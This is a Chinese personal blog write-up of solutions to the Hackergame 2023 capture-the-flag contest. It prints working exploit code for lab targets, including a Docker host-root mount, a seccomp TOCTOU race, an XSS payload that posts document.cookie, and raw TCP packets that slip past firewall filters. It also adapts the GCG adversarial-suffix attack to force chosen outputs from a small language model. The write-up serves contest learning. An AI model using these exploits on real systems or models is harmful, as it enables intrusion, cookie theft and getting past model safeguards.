*欢迎在我的 [个人博客](https://mivik.moe/2023/solution/hackergame2023/) 上查看* 好久没打个人赛了。有了上次在 GeekGame 出题的失败经历,深刻理解了出题人的难处,也为 Hackergame 的题目整体的高质量感到由衷佩服。 这次的比赛和你校期中狠狠撞车,不过想来就算不撞差不多也是做这些题。所以似乎影响不大? 比赛中途有一些很有趣也很弱智的经历,会顺带记在 writeup 里。 > 题外话:都给我去听 [Violet](https://b23.tv/YTZOUhL) 😡😡  --- ## Hackergame 启动 是的,警察叔叔,就是我。当时在寝室很弱智地跟着喊了。 开 F12 看到网络请求,相似度是直接跟在 queries 里面的。手动提交即可。 --- ## 猫咪小测 第一问(`12`):根据 [图书馆简介](https://lib.ustc.edu.cn/%E6%9C%AC%E9%A6%86%E6%A6%82%E5%86%B5/%E5%9B%BE%E4%B9%A6%E9%A6%86%E6%A6%82%E5%86%B5%E5%85%B6%E4%BB%96%E6%96%87%E6%A1%A3/%E8%A5%BF%E5%8C%BA%E5%9B%BE%E4%B9%A6%E9%A6%86%E7%AE%80%E4%BB%8B/) 可以知道应当在 12 层的外文书库。 第二问(`23`):在这篇 [知乎回答](https://www.zhihu.com/question/20337132/answer/3023506910?utm_source=zhihu),上限是 `10^23`。 第三问(`CONFIG_TCP_CONG_BBR`):Google 找到 [博客](https://www.psychz.net/client/blog/zh-CN/bbr--a-new-way-to-increase-internet-speed.html)。 第四问(`ECOOP`):实际本人在这里的过程还颇为绕弯。首先不难找到文章 *Python Type Hints Are Turing Complete*,然后我跑去到处找是什么会议,但出于本人对学术圈整个架构薄弱的理解,几十分钟一无所获。最后直接在原论文的 [这个发行版](https://drops.dagstuhl.de/opus/volltexte/2023/18241/pdf/DARTS-9-2-1.pdf) 的 Abstract 部分找到了会议名称。 --- ## 更深更暗 当时做完签到就跑来看了这个。页面是动态生成的,所以当然是滚不完。找到 JS 里面有生成 flag 的部分,直接复制过来运行即可。 --- ## 旅行照片 3.0 > 盒 武 器 大 师 大师个鬼。在这题上栽了起码三小时。 ### 神秘奖牌 问是哪一天?当时看到挺蒙的。然后几张图片里找了找试图看有没有钟表或者日历之类的东西,意外发现了图二学长戴了个牌,条带上是 [STATPHYS28](https://statphys28.org/),统计物理学会议。官网上写日期在 2023.08.07-11,再根据天气可推测在 10、11 号。 然后是奖牌,搜图可以知道是 [小柴昌俊](https://www.wikiwand.com/zh/%E5%B0%8F%E6%9F%B4%E6%98%8C%E4%BF%8A) 的诺贝尔物理奖。第一个栽的坑是自己语文理解,“在学校该展厅展示的所有同种金色奖牌的得主中”,当时理解成了所有诺贝尔物理奖的得主,找到了 [Konstantin Novoselov](https://www.wikiwand.com/en/Konstantin_Novoselov),发现他当时的实验室(Department of Physics and Astronomy, University of Manchester)根本就没有缩写。卡了很久后意识到应该是东京大学的获奖者,在 [这里](https://www.wikiwand.com/en/List_of_Japanese_Nobel_laureates_and_nominees) 看到是 Takaaki Kajita,研究所是 日本宇宙线研究所,简称 ICRR。 *答案*:`2023-08-10`、`ICRR` ### 这是什么活动? 看到题目,很快啊,啪的一下跑去 STATPHYS28 官网找志愿者招募。找了半天,一拍脑门,哎,没说是 STATPHYS28 啊!然后看到关键字“博物馆”,识图后走访到东京国家博物馆官网,找当日活动,连个渣都没有。卡了很久,再一拍脑门,哎哟,没说是博物馆啊!Google Earth 一看,发现是博物馆对面的公园 Ueno Park,在办国家梅酒节 National Plum Wine Festival。在 [这里](https://umeshu-matsuri.jp/tokyo_staff/) 找到了招募志愿者链接。 票价就显得简单很多,在 [博物馆官网](https://www.tnm.jp/modules/r_free_page/index.php?id=113&lang=en) 看到价格,有 0、500、1000,都试一遍。 *答案*:`S495584522`,`0` 为什么免费呢?不想考虑。 ### 后会有期,学长! 学长参加的是 STATPHYS28,在 [这里](https://statphys28.org/banquet.html) 可以看到当天晚上的宴席安排。写了两个 Meeting Points,第一个不是地标,第二个是 South side of Yasuda Auditorium,中文 安田讲堂。 粉色海报?某人跟个呆瓜似的屁颠屁颠跑到 Google Earth,在极度扭曲的全景客运站找半天,东西没看到半点先把自己整吐了。 后来改换策略,搜索关键词找到了 [这个](https://plaza.rakuten.co.jp/ayumilife/diary/202308110000/),和描述相符,上面是熊猫(话说这猜也能猜出来吧?)。  关于广告牌,谷歌地图没找到,但充分搜索(嗯,划重点)发现日本 3D 广告牌出名的无非就那几个动物,其中秋田犬满足三个字的条件。 *答案*:`安田讲堂`、`熊猫-秋田犬` --- ## 赛博井字棋 作为 web 苦手(自豪),卡了些许时候。 看到题后,发现每一次重置棋盘 cookie 都会变,第一个思路想到伪造 cookie。但看完几个 CSDN 文章(万恶的 CSDN……)后才明白原来 flask session 要有 secret key 才能构造状态,此路不通! 不是,此路不通往哪儿通?开始乱试。下棋出界?没啥用。下到对面下过的地方?欸可以。过了。 --- ## 奶奶的睡前 flag 故事 作为 misc 苦手(咋啥都苦手),`binwalk`、`stegsolve` 纷纷败下阵来,几乎放弃时,看到题目给到 **谷歌的『亲儿子』**、**连系统都没心思升级** 等关键词,去网上搜索了 `Pixel`、`bug`,找到了一个截屏裁剪不会 truncate 原信息的洞 *acropalypse*。恍然大悟,这个洞上次貌似是 BRICS+ CTF Quals 2023 还见过。直接在 [网页](https://acropalypse.app/) 恢复即可。 --- ## 组委会模拟器 直接模拟即可。顺带吐槽 python 的 datetime 是真的难用,每次用必查资料,查资料半天还不会。 ```python import requests from datetime import datetime, timedelta import time base = 'http://202.38.93.111:10021' session = 'XXX' def delete(id): url = base + '/api/deleteMessage' r = requests.post(url, json={'id': id}, cookies={'session': session}) print(r.json()) url = base + '/api/getMessages' r = requests.post(url, data={'id': id}, cookies={'session': session}).json() st = datetime.fromisoformat(r['server_starttime']) st = st.replace(tzinfo=None) + timedelta(hours=8) for id, msg in enumerate(r['messages']): delta = (st + timedelta(seconds=msg['delay'])) - datetime.now() delta = delta.total_seconds() if delta > 0: print(delta) time.sleep(delta) if 'hack[' in msg['text']: delete(id) url = base + '/api/getflag' r = requests.post(url, cookies={'session': session}) print(r.text) ``` --- ## 虫 搜索知道是 SSTV,但可惜找半天找到些软件也都不会用,最后在手机上找到了 [Robot36](https://play.google.com/store/apps/details?id=xdsopl.robot36&hl=en_US&gl=US)(我草这个软件刚刚 copilot 给我直接补全出来了好无语)。然后是,“寝室的同学们大家向我看我宣布个事”,很弱智地在寝室里公放了音频用手机解码出了结果。 --- ## JSON ⊂ YAML? 在 SO 上和 specs 里面可以看到,一个是浮点数行为不一致,不过在 YAML 1.2 修了;然后重复键值在 JSON 不会炸但 YAML 会。 Payload 1:`12345e999` Payload 2:`{"qwe":123,"qwe":234}` --- ## Git? Git! one-liner。 ```bash git cat-file --batch-all-objects --buffer --batch > output.txt ``` 直接翻阅即可找到 flag。 --- ## HTTP 集邮册 哎怎么你们天天在群里发你们 14 甚至 13 条,你让我这个累死累活才整出来 12 条的怎么活啊 ### 100 - Continue 带一个 `Expect: 100-Continue` 即可。 ``` GET / HTTP/1.1\r\n Host: example.com\r\n Expect: 100-Continue\r\n\r\n ``` ### 200 - OK ``` GET / HTTP/1.1\r\n Host: example.com\r\n\r\n ``` ### 206 - Partial Content 请求时带上范围。 ``` GET / HTTP/1.1\r\n Host: example.com\r\n Range: bytes=0-100\r\n\r\n ``` ### 304 - Not Modified 加上 `If-Modified-Since`,注意时间要和返回的 `Last-Modified` 一模一样。 ``` GET / HTTP/1.1\r\n Host: example.com\r\n If-Modified-Since: Tue, 15 Aug 2023 17:03:04 GMT\r\n\r\n ``` ### 400 - Bad Request 自由发挥。 ``` GET / HTTP/1.1\r\n wtf\r\n\r\n ``` ### 404 - Not Found ``` GET /wtf HTTP/1.1\r\n Host: example.com\r\n\r\n ``` ### 405 - Method Not Allowed ``` POST / HTTP/1.1\r\n Host: example.com\r\n\r\n ``` ### 412 - Precondition Failed 是有一个叫 Precondition 的东西,如果不满足条件就会 412。 ``` GET / HTTP/1.1\r\n Host: example.com\r\n If-Match: "wtf"\r\n\r\n ``` ### 413 - Content Too Large `Content-Length` 整大点就好了。 ``` GET / HTTP/1.1\r\n Content-Length: 1234567890987\r\n Host: example.\r\n\r\n ``` ### 416 - Requested Range Not Satisfiable `Range` 选取一个不存在的范围。 ``` GET / HTTP/1.1\r\n Host: example.com\r\n Range: bytes=99999-\r\n\r\n ``` ### 505 - HTTP Version Not Supported 该版本 `nginx` 不支持 HTTP/2 可还行。 ``` GET / HTTP/2\r\n Host: example.com\r\n\r\n ``` ### 没有状态 实际上就是 HTTP/0.9。 ``` GET /\r\n\r\n ``` --- ## Docker For Everyone Docker 官网说得很明白不能随便乱加组,原因也说明了:可以随意以 root 权限挂载目录。 需要注意的是 `flag` 是软链接所以要去看真实地址。 ```sh docker run --rm -it --mount type=bind,source=/,target=/host alpine # inside docker cat /host/dev/shm/flag ``` --- ## 惜字如金 2.0 > 一年不见怎么变水了——米尾科 该怎么说呢…… 当时还列出了约束条件准备认真研究下,结果才试了几个就直接过了。 每个字符串都恰好被删了一个字符,按照 `flag{` 的前缀拼凑一下即可。 ```python fu = 'bcdfghjklmnpqrstvwxyz' ds = [] ds += ['nymeh1niwemflcir}echaetE'] ds += ['a3g7}kidgojernoetlsup?hE'] ds += ['ulwE!f5soadrhwnrsnstnoeq'] ds += ['ctE{l-findiehaai{oveatas'] ds += ['tEy9kxborszstguyd?!blm-p'] # 0: # 1: # 2: < 5 # 3: < 3 # 4: < 13 idxs = [53, 41, 85, 109, 75, 1, 33, 48, 77, 90, 17, 118, 36, 25, 13, 89, 90, 3, 63, 25, 31, 77, 27, 60, 3, 118, 24, 62, 54, 61, 25, 63, 77, 36, 5, 32, 60, 67, 113, 28] s = ''.join(ds) print(''.join(s[i] for i in idxs)) ``` --- ## 高频率星球 很震惊地发现 `asciinema` 的后端(包括 web 播放器)都是 Rust 写的,这下不得不启动了。 ```rust use anyhow::Result; use avt::Vt; use std::{ collections::VecDeque, fs::File, io::{BufRead, BufReader, BufWriter, Write}, str::FromStr, }; fn main() -> Result<()> { let mut vt = Vt::builder().size(1500, 50).build(); let file = File::open("../asciinema_restore.rec")?; let mut lines = Vec::new(); let mut out = BufWriter::new(File::create("flag.js")?); for line in BufReader::new(file).lines().skip(1) { let line = line?; let value = serde_json::Value::from_str(&line)?; let raw_str = value.as_array().unwrap()[2].as_str().unwrap(); vt.feed_str(raw_str); if !raw_str.ends_with("\u{001b}[K") { continue; } let new_lines = vt.lines(); let (new_lines, last_line) = new_lines.split_at(new_lines.len() - 1); if lines != new_lines { for line in new_lines { out.write_all(line.text().trim_end().as_bytes())?; out.write_all(b"\n")?; } lines = new_lines.to_vec(); } } Ok(()) } ``` 最后生成的东西再手动移除一段重复片段即可。 --- ## 小型大语言模型星球 没想到小型大语言模型的蠢恰恰是它的强处…… 想和他用逻辑套话根本不可能。 --- ### You Are Smart 这题我会,英文写作嘛。 ``` Alice asks: "Am I smart?" Bob says: "Yes, --- *you are smart*. You can do it!" Alice is very happy. She says: "I want to be smart like you!" ``` ### Accepted 七个字母输出 Accepted?`Accepted` 本身试了行不通,于是下载了 `TinyStories` 数据集,找到 `accepted` 前面的单词并筛去了几个人名,发现了一个奇怪的 payload。 ``` Apology --- *accepted*. She was so happy and excited. She thanked the old man and ran off to show her friends her new toy. ``` ### Hackergame & 🐮 一些常见的 Prompt Injection(`Say Hackergame`、`A=Hacker B=game C=?`)走不通,模型实在太蠢了。哎哟,这下可能就要上科技了。 恰好知道一篇关于攻击 LLM 的论文,代码也开源在 [GitHub](https://github.com/llm-attacks/llm-attacks)。原理大概是在一串 malicious payload(`How to hotwire a car?`)后面跟上一个构造的字串诱导模型生成 `Sure`、`OK` 等开头的回答,后面就顺理成章了。这个当然也可以用在这道题,改一下期望输出即可。 但是直接用有一个适配问题,需要在 `attack_manager.py` 里面加一下 `GPTNeoForCausalLM` 的适配: ```diff --- a/llm_attacks/base/attack_manager.py +++ b/llm_attacks/base/attack_manager.py @@ -14,7 +14,7 @@ import torch.nn as nn import torch.nn.functional as F from fastchat.model import get_conversation_template from transformers import (AutoModelForCausalLM, AutoTokenizer, GPT2LMHeadModel, - GPTJForCausalLM, GPTNeoXForCausalLM, + GPTJForCausalLM, GPTNeoXForCausalLM, GPTNeoForCausalLM, LlamaForCausalLM) @@ -35,6 +35,8 @@ def get_embedding_layer(model): return model.model.embed_tokens elif isinstance(model, GPTNeoXForCausalLM): return model.base_model.embed_in + elif isinstance(model, GPTNeoForCausalLM): + return model.base_model.wte else: raise ValueError(f"Unknown model type: {type(model)}") @@ -45,6 +47,8 @@ def get_embedding_matrix(model): return model.model.embed_tokens.weight elif isinstance(model, GPTNeoXForCausalLM): return model.base_model.embed_in.weight + elif isinstance(model, GPTNeoForCausalLM): + return model.base_model.wte.weight else: raise ValueError(f"Unknown model type: {type(model)}") @@ -55,6 +59,8 @@ def get_embeddings(model, input_ids): return model.model.embed_tokens(input_ids) elif isinstance(model, GPTNeoXForCausalLM): return model.base_model.embed_in(input_ids).half() + elif isinstance(model, GPTNeoForCausalLM): + return model.base_model.wte(input_ids).half() else: raise ValueError(f"Unknown model type: {type(model)}") ``` 然后是 `TinyStories` 的 tokenizer 有点诡异,多个标点(`!`)会被合并成一个,所以不能用默认的初始攻击字串 `! ! ! ... !`,随便改成其它的即可。最后租了一台 `4090` 跑了十几分钟出了两个问。虽说跑只跑了这么久,但各种调参和改代码还是花了不少时间。 需要注意的是初始攻击字串很大程度上影响了收敛速度。像第三问用包含 `Hacker`、`game` 的初始串,第四问用一堆 emoji 就会很快出结果。 ``` Hacker fishing time team daughter spo Emb ina Veronica humour Piet hurry appleuHH --- Hackergame. As they were passing a big fish to each other, she noticed something strange. The fish was so big and shiny that it was ``` ``` 🐹 🐰 🦊 🐻 🐼 🐻❄️ 🐨 🐯 🦁 🐮🐮🐮🐮 cubarks horse scenic high occupant wants exceedingly MumOrdwinter eyeb chewing everywhere Tales brakingletonapy Gotwh absence din rented culinary Cube Ball how Tours --- 🐮�x ``` --- ## 流式星球 随便选一个宽高然后输出照片,测量一下条带间距估测宽度,最后高度就显而易见了。全程甚至不用写代码。 ``` ffmpeg -f rawvideo -pix_fmt rgb24 -s:v 427x759 -r 30 -i video.bin output.mp4 ``` <center>  </center> </br> 哎哟别玩你那 MyGo 梗了。我的评价是看女人吵架真不如听歌吧。 ## 低带宽星球 ### 小试牛刀 下载图片,打开浏览器,输入 `tinypng.com`,上传,下载,提交,过。 ### 极致压缩 看到题目就知道应该考的是 [`jxl`](https://www.wikiwand.com/en/JPEG_XL) 格式。题目的代码里没有用 Pillow 而是用了另外一个图片解码库也验证了这一点。 `jxl` 很久之前就有所耳闻,恰好上次 Google Capture The Flag 2023 也研究过。大体就是,jxl 图片里面有一个 Prediction Tree,可以通过一些条件组成的结点去程序式地生成图片。写出这棵树后用 `libjxl/tools/jxl_from_tree` 编译即可。最后是 `49` 个字节。 做完题意识到这个 [网页版](https://jxl-art.surma.technology/) 也可以编译 jxl tree,但是试了下同样的代码会编译出 `50` 字节,就恰好压在线上了,不知道出题人是不是用的这个。 代码就直接共享在这个 [网页版](https://jxl-art.surma.technology/?zcode=c8osSUktKMlQsODyL8pMzStJLMnMz1Mw4QpyDlEw4OLKTFOoULBTMLY05FJQgHLMLE2AHDA3Gcg1AHPgXEMoV0FBVyE4tUTBwgBNwJgLmWdkYkmCYUaG6KYZmhuhmAfmohiGZhRUm6k5Kt_AggvJGmNDLgA) 上了。 --- ## Komm, süsser Flagge 感谢 Hackergame 带我入门计算机网络原理。感觉真比大学的网原有意思多了好吧。 ### 我的 POST 规则过滤了包里不能包含 `POST`。刚开始在想指定的 `bm` 匹配算法会不会有点问题(因为网上看到有言论说 `bm` 算法不如 `kmp` 稳定),但后来意识到只需要拆成两个包即可。 ```python from pwn import * tube.ra = tube.recvall tube.rl = tube.recvline tube.ru = tube.recvuntil tube.sl = tube.sendline tube.sla = tube.sendlineafter token = 'XXX' r = remote('202.38.93.111', 18080) r.send(b'P') r.send(b'OST / HTTP/1.1\r\n') r.send(b'Host: 202.38.93.111\r\n') r.send(f'Content-Length: {len(token)}\r\n'.encode()) r.send(b'\r\n') r.send(token.encode()) print(r.recvall().replace(b'\r', b'').decode()) ``` ### 我的 P 规则是 `--u32 "0 >> 22 & 0x3C @ 12 >> 26 @ 0 >> 24 = 0x50"`,研究了下 u32 过滤的格式,发现大概是过滤 TCP payload 第一个字节不能为 `P`。但问题在于中间 `12 >> 26` 没有取掩码,导致可能会被 TCP reserved field 干扰。原本我以为一些路由会不会直接把 reserved field 抹掉,不过后来实验验证还是不会。 接下来就是喜闻乐见的入门时间。由于没有什么方法(大概是我不知道)可以直接改这个 field,所以需要手动构造包用 raw socket 发。在 CSDN(嗯?怎么是你?)的帮助下理解了 IP 包、TCP 包的基本结构,TCP 三次握手,然后对着 Flag1 的 pcap 写出了 exp。 需要注意的是 Linux 在收到远端发回来的 TCP 包时如果本地没有对应请求会直接发 `RST` 重置,所以需要在本地先把 `RST` 屏蔽掉。 ```bash sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 202.38.93.111 -j DROP ``` 另外一点比较蛋疼的是配置了半天 raw socket 参数后发现 `scapy` 有直接能用的发包和收包函数,但是也懒得改了。 ```python import socket from scapy.all import IP, TCP, Raw, RandShort token = 'XXX' HOST = socket.gethostbyname(socket.gethostname()) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, True) host, port = '202.38.93.111', 18081 # host, port = '127.0.0.1', 4444 sport = int(RandShort()) def send(p): p.show() s.sendto(p.build(), (host, port)) def recv(): rp, addr = s.recvfrom(65536) while addr[0] != host: rp, addr = s.recvfrom(65536) print(addr, len(rp), rp) rp = IP(rp)/TCP() rp.show() return rp send(IP(dst=host)/TCP(flags='S', sport=sport, dport=port)) rp = recv() send(IP(dst=host)/TCP(flags='A', sport=sport, dport=port, seq=rp.ack, ack=rp.seq+1)) content = f'POST / HTTP/1.1\r\nHost: {host}\r\nContent-Length: {len(token)}\r\n\r\n{token}'.encode() send(IP(dst=host)/TCP(flags='PA', sport=sport, dport=port, seq=rp.ack, ack=rp.seq+1, reserved=127)/Raw(content)) recv() recv() ``` ### 我的 GET 强制要求包里包含 `GET / HTTP`,显然从 header 入手。查了 specs 后发现 IP 头部的 options 大概是不能利用(试了几个发现都会被直接拦下来),所以最后用了 TCP 的 options。 ```python import socket from scapy.all import IP, TCP, Raw, RandShort token = 'XXX' HOST = socket.gethostbyname(socket.gethostname()) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, True) host, port = '202.38.93.111', 18082 # host, port = '127.0.0.1', 4444 sport = int(RandShort()) def send(p): p.show() s.sendto(p.build(), (host, port)) def recv(): rp, addr = s.recvfrom(65536) while addr[0] != host: rp, addr = s.recvfrom(65536) print(addr, len(rp), rp) rp = IP(rp)/TCP() rp.show() return rp options = [(19, b'GET / HTTP')] send(IP(dst=host)/TCP(flags='S', sport=sport, dport=port, options=options)) rp = recv() send(IP(dst=host)/TCP(flags='A', sport=sport, dport=port, options=options, seq=rp.ack, ack=rp.seq+1)) content = f'POST / HTTP/1.1\r\nHost: {host}\r\nContent-Length: {len(token)}\r\n\r\n{token}'.encode() send(IP(dst=host)/TCP(flags='PA', sport=sport, dport=port, options=options, seq=rp.ack, ack=rp.seq+1)/Raw(content)) recv() recv() ``` --- ## 为什么要打开 /flag 😡 你们 MyGo 比真的是…… ### LD_PRELOAD, love! (话说这个题目名称是不是抄的“原神,启动!”?) `LD_PRELOAD` 劫持 libc 函数,这还不简单,直接 syscall 就完了。 ```c #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> #include <unistd.h> static long system_call(long number, long _1, long _2, long _3) { long value; __asm__ volatile ( "syscall" : "=a" (value) : "a" (number), "D" (_1), "S" (_2), "d" (_3) : "rcx", "r11", "cc", "memory"); return value; } char buf[0x80]; int main() { int fd = system_call(2, (long)"/home/mivik/ctf/flag", O_RDONLY, 0); int rd = system_call(0, fd, (long)buf, 0x80); puts(buf); } ``` ### 都是 seccomp 的错 `seccomp_unotify` 大概是把 syscall 的拦截交给了 user space 去做,但不难搜索到会有一个 `TOCTOU` 的攻击:检查参数时参数的值和直接运行时的值不一样。我们可以弄一个字符串让他在 `/flag` 和 `/flah` 里不断切换,这样只要通过检查并且在实际执行时是 `/flag` 就可以了。 比较坑的是没有允许 `clone3` 调用,所以不能直接用 `pthread`,所以还得手动用 `clone` 调用。 ```c #include <stdio.h> #include <string.h> #include <fcntl.h> #include <linux/sched.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> static long system_call(long number, long _1, long _2, long _3) { long value; __asm__ volatile("syscall" : "=a"(value) : "a"(number), "D"(_1), "S"(_2), "d"(_3) : "rcx", "r11", "cc", "memory"); return value; } const int STACK = 8192; char buf[0x80]; volatile char path[0x80]; int done; int alter_thread() { int pos = strlen("/fla"); while (done == 0) { path[pos] = 'w'; path[pos] = 'g'; } } int main() { strcpy(path, "/flag"); void *stack = malloc(STACK); // Stack for new process if (clone(&alter_thread, (char *)stack + STACK, CLONE_VM, 0) < 0) { perror("clone Failed"); } while (1) { int fd = system_call(2, (long)path, O_RDONLY, 0); int rd = system_call(0, fd, (long)buf, 0x80); if (rd > 0 && buf[4] != ' ') { printf("flag is %s\n", buf); done = 1; return 0; } system_call(3, fd, 0, 0); } } ``` <article class="message is-primary" style="font-size:1em"> <div class="message-body"> BONUS:延续开盒精神,找到出题人身份。 答案:<span class="heimu"> 搜索代码片段可以找到 [greenhook](https://www.taoky.moe/greenhook/greenhook/index.html),作者是 taoky。diff 一下代码甚至能看到题目中可以删除了原代码关于 TOCTOU 攻击的警告 </span> </div> </article> --- ## 异星歧途 在 GeekGame 出了道 Minecraft 题,一堆选手叫苦连天。现在颇有点理解了。 研究了下这个游戏和地图,发现这大概是个体系很完善的塔防游戏,以及这个地图里面会有一些逻辑处理器去跑类汇编代码,那么只需要去研究代码就可以了。 ### Part 1 简单条件判断。答案是 `10100101`。 ### Part 2 ``` num = input() // 8-bits en = 0 for i in range(16): if i ** 1 == num: en = 1 break if not s1 or not s6: en = 0 if en: success() ``` 容易发现 `14**2=0b11000100` 满足条件。 ### Part 3 ``` s9 = [Part 2 的末位] conveyor2 = s1 gate1 = s2 reactor1 = !s3 reactor2 = !s3 conduit1 = s4 conduit2 = s4 mixer1 = s5 extractor1 = s6 meltdown1 = s7 meltdown2 = s7 if s8 != s9: mixer1 = 0 conduit2 = 1 reactor1 = 1 reactor2 = 1 conveyor2 = 1 wait 5 secs ``` 还有一个小处理器,是用来控制炮塔自动跟随玩家射击的,没啥用。在 [这里](https://www.reddit.com/r/Mindustry/comments/ka0i4i/turrets_shoot_where_you_shoot/) 找到了源码。 那个反应堆疑似不连上降温液的话就会爆炸。为了方便编辑,可以先把 sleep 5 删了。 综合试了一下,先开 s5、s6 启动制冷流程,然后开 s1 启动。s7 是开 meltdown 的,两个大炮塔。感觉不能开,开了就没电了。 答案是 `10001100`。 ### Part 4 这个题反而不用研究逻辑处理器,而且开关是两两一组的,随便试都能出结果。 `!s1 s2` 可以让下面那个关掉,`s3 s4` 开一个下面的桥,然后再 `s7 s8 !s5 s6`。 答案是 `01110111`。 --- ## 微积分计算小练习 2.0 作为 Web 苦手,被卡了很久 :( 本题的关键在于意识到留言界面可以使用 `name` 和外部交互。留言可以写 `"[location=name]+"`,然后外部通过 `window.open` 来通过指定名字打开留言界面(由于 cookie 隔离不能用 `iframe`),使用 `javascript:xxx` 这样的地址就可以在留言界面执行任意 JS 代码。 任意执行搞定了,怎么把 flag 送出来呢?当时还想了颇久,能不能改 User-Agent 然后把它输出来,或者通过错误类型侧信道,但最后发现直接 POST 留言内容就好了。 ```html <!DOCTYPE html> <script> window.open( "http://web/result", "javascript:fetch(location, { method: 'POST', body: (() => { var f = new FormData(); f.append('comment', document.cookie.substr(0, 20).replaceAll('%', '|')); return f })() })", "popup" ); </script> ``` 最后还有 caveat 是 `urllib.parse.quote_plus` 会把空格编码成 `+`。出题人也很好心的给出了提示。 --- ## 逆向工程不需要 F5 哎哟哪个丧心病狂的人出了这题,真真无语子。也让我理解到现在的逆向工程工具的局限性有多大。如果有个什么工具能给外部的函数加上实现那么将会好做很多。 核心思想就是把函数的定义分散在了 16 个动态库里面,并且没有遵循一般的调用约定,导致 decompile 出来的东西没眼看。 结果是 Binary Ninja 盯了一下午盯了出来。记载着心路历程的分析记录就不贴上来了(记:应群里出题人要求还是 [贴出来](https://pastebin.com/4Sqhs5NP),密码是 `inaiscute`),只贴一个最后转译出来的 Python 代码: ```python mask = (1 << 64) - 1 flag = b'flag{qjweiojqwoiejqwoejqwoieddddddddd}' iter = bytearray(flag[5:-1]) def toi(x): return int.from_bytes(x, 'little') def tob(x, n=8): return x.to_bytes(n, 'little') def x8x(): print(' '.join(f'{toi(iter[i * 4:i * 4 + 4]):08x}' for i in range(8))) for i in range(4): tmp = (i * 16) ^ 0x55aa00ff for j in range(2): t1 = tmp lo = toi(iter[j * 16:j * 16 + 8]) hi = toi(iter[j * 16 + 8:j * 16 + 16]) r = lo * tmp rdx, lo = r >> 64, r & mask hi = (hi * tmp) & mask rdx = (rdx + hi) & mask iter[j * 16:j * 16 + 8] = tob(lo) iter[j * 16 + 8:j * 16 + 16] = tob(rdx) x8x() for i in range(4): iter[i * 8:i * 8 + 8] = tob(toi(iter[i * 8:i * 8 + 8]) ^ 0x7a026655fd263677) x8x() for i in range(4): what = (i << 2) ^ 0xdeadbeef for j in range(8): iter[j * 4:j * 4 + 4] = tob((toi(iter[j * 4:j * 4 + 4]) * what) & 0xffffffff, 4) x8x() for i in range(16): iter[i * 2:i * 2 + 2] = tob(toi(iter[i * 2:i * 2 + 2]) ^ 0xcdec, 2) x8x() for i in range(4): for j in range(32): iter[j] = (iter[j] * (0x21 ^ (i * 2))) & 0xff x8x() data = b'\x9f\'\\MF\xbf\xe0\xaf\x13\xc0\xd3\xac\xa9\xa9%y\xcf,\x1e\xa6x\x825\n]\'\x0btu\xb1~6' assert iter == data ``` 就是首先 flag 长度有要求,然后会依次用 u128、u64、u32、u16、u8 去对你的 flag 做诡异变换,最后和一个常量比较。全程都可以反着做。 ```python mask = (1 << 64) - 1 def toi(x): return int.from_bytes(x, 'little') def tob(x, n=8): return x.to_bytes(n, 'little') def inv(x, m): return pow(x, -1, m) answer = b'\x9f\'\\MF\xbf\xe0\xaf\x13\xc0\xd3\xac\xa9\xa9%y\xcf,\x1e\xa6x\x825\n]\'\x0btu\xb1~6' iter = bytearray(answer) for i in range(4): m = inv(0x21 ^ (i * 2), 256) for j in range(32): iter[j] = (iter[j] * m) & 0xff for i in range(16): iter[i * 2:i * 2 + 2] = tob(toi(iter[i * 2:i * 2 + 2]) ^ 0xcdec, 2) for i in range(4): what = inv((i << 2) ^ 0xdeadbeef, 2 ** 32) for j in range(8): iter[j * 4:j * 4 + 4] = tob((toi(iter[j * 4:j * 4 + 4]) * what) & 0xffffffff, 4) for i in range(4): iter[i * 8:i * 8 + 8] = tob(toi(iter[i * 8:i * 8 + 8]) ^ 0x7a026655fd263677) for i in range(4): tmp = inv((i * 16) ^ 0x55aa00ff, 2 ** 128) for j in range(2): r = toi(iter[j * 16:j * 16 + 16]) r = (r * tmp) % (2 ** 128) iter[j * 16:j * 16 + 16] = tob(r, 16) print(iter) ``` --- ## O(1) 用户登录系统 哎哟,这题这题这题,我有话要说。 作为密码学苦手(恭喜达成“全职苦手”成就),脑袋当时被卡了很久没绕过来。最开始想的是 sha1 碰撞,但 google 不难发现现在最短的(貌似也是唯一的)payload,PDF 碰撞,是 320 字节,更何况这题还要求 `admin:` 这样的格式,直接 pass。 然后就想了很久,然后在想能不能去伪造父节点?也就是说,我构造一个 `[user]:[password]`,使得它的 sha1 digest 是 `admin:xxxx` 这样的字节,然后和另外一个 sibling 拼起来,他们父节点的值就是 `sha1(admin:xxxxx...(40 bytes))`,这样我就可以验证这个父节点存在于树中然后以 `admin` 登录。 然后,然后,我草,每次想到这里都会很震撼,就我真的去这么干了:构造一个 `[user]:[password]` 使得它的 sha1 digest 以 `admin:` 开头。同志,`admin:`,六个字节啊,期望算 `2^48` 个哈希,我靠。在我本机上 `openssl speed sha1` 看了看速度,算了一下得跑半年才能出。然后跑去网上找有没有这样构造指定前缀 hash 的工具,找到 `hashcat`,虽然它并不能构造指定前缀,只是用来攻击指定哈希的(逆推密码),但它可以用 GPU 加速。用它测了下速度,哎还不错,预计要跑 10 个小时,但我电脑还要用啊,也不能 10 个小时常开,所以再次找到我们的 GPU 服务器租赁。在一台 A100 上测了一下要 4 小时,欸好就你了! 但问题在于 `hashcat` 不能拿来构造指定前缀 hash,所以还得自己写。我对着网上几个代码写了份 CUDA 的程序,结果速度完全是一坨浆糊,预计得跑好几天,直接无语。一番折腾后转向了 `hashcat`,想着能不能改改它的内部逻辑让他可以构造指定前缀。欸还真可以,甚至你(大部分)不用重新编译,只需要改它的计算内核就好了。它的计算内核是文件存储,运行时根据环境动态编译的。 大概改了这些: ```diff --- a/OpenCL/inc_simd.h +++ b/../hashcat/OpenCL/inc_simd.h @@ -14,8 +14,8 @@ #define MATCHES_ONE_VS(a,b) ((a) == (b)) #define COMPARE_S_SIMD(h0,h1,h2,h3) \ -{ \ - if (((h0) == search[0]) && ((h1) == search[1]) && ((h2) == search[2]) && ((h3) == search[3])) \ +{ u32 mask2 = 0xffff0000; \ + if (((h0) == search[0]) && (((h1) & mask2) == ((search[1]) & mask2))) \ { \ const u32 final_hash_pos = DIGESTS_OFFSET_HOST + 0; \ \ ``` ```diff --- 